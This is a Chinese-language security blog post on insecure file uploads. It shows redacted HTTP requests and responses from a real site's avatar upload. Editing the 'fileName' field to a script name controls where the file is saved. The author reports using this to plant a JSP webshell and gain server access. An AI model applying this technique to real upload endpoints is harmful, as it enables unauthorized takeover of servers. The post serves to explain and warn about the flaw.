为什么文件上传会带来安全问题
…这还用解释吗?
如果是PHP的环境,我上传个一句话木马,不就拿到权限啦?
等等,我就不说了
常见的不安全的文件上传
一般不安全的上传都有以下几个要点:
-
文件名由前端控制
-
文件后缀也由前端控制
-
文件后缀过滤使用黑名单机制
总结一下,就是一些重要的信息均由前端控制
导致黑客修改文件名,文件夹等信息后,进一步控制网站的权限
例子
这是一段上传头像的数据包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
POST /mall/file/image/upload HTTP/1.1
Host: www.*****.com
Content-Length: 2641
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.*****.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.87 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryK81rSJxQ4rG1bkYf
Referer: http://www.*****.com/mall/center/member/info
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=97B574B539CCDD70F7F47598F0CE3CFE; CNZZDATA1260464799=302872652-1478001503-%7C1478251254
------WebKitFormBoundaryK81rSJxQ4rG1bkYf
Content-Disposition: form-data; name="file"; filename="kb.gif"
Content-Type: image/gif
GIF89a
**********fileData**********
------WebKitFormBoundaryK81rSJxQ4rG1bkYf
Content-Disposition: form-data; name="fileName"
5a0dded7-240f-4b11-814c-6f38f6d4b68d.gif
------WebKitFormBoundaryK81rSJxQ4rG1bkYf--
|
这是返回数据包(图片路径包含其中)
|
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Date: Fri, 04 Nov 2016 10:49:00 GMT
Content-Length: 100
{"state":"success","object":"/resources/image//5a0dded7-240f-4b11-814c-6f38f6d4b68d.gif","msg":null}
|
细心的妹子可能已经发行了,post数据包中的fileName的值,就是返回数据包中的图片路径
当然作为帅哥的我,也是一下就发行了,然后我将post数据包中的fileName的值修改为
|
------WebKitFormBoundaryK81rSJxQ4rG1bkYf
Content-Disposition: form-data; name="fileName"
test.php
|
返回数据包
|
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: application/json;charset=UTF-8
Date: Fri, 04 Nov 2016 10:51:44 GMT
Content-Length: 68
{"state":"success","object":"/resources/image//test.php","msg":null}
|
看到返回数据包里面的文件路径,就是由前端来控制的
既然这样的话,我们在文件内容中插入恶意代码,在讲文件名修改为能解析的脚本文件
这样不就拿到权限了吗?
这就完了?
例子大概讲下就是啦,有空再更新,关键部位已打码
上面的例子呢,经过我自己测试,确实能够上传任意文件到任意目录
不过中间有个曲折…
我上传半天php,发现就是不解析
测试了好久,才发现中间件是tomcat的…
那就上传个JSP木马就拿到了权限
一般tomcat的中间件都是管理员权限
所以直接就拿到了服务器权限
本文来自: 蜗蜗侠's Blog-关注网络安全 http://blog.icxun.cn/Note/435.html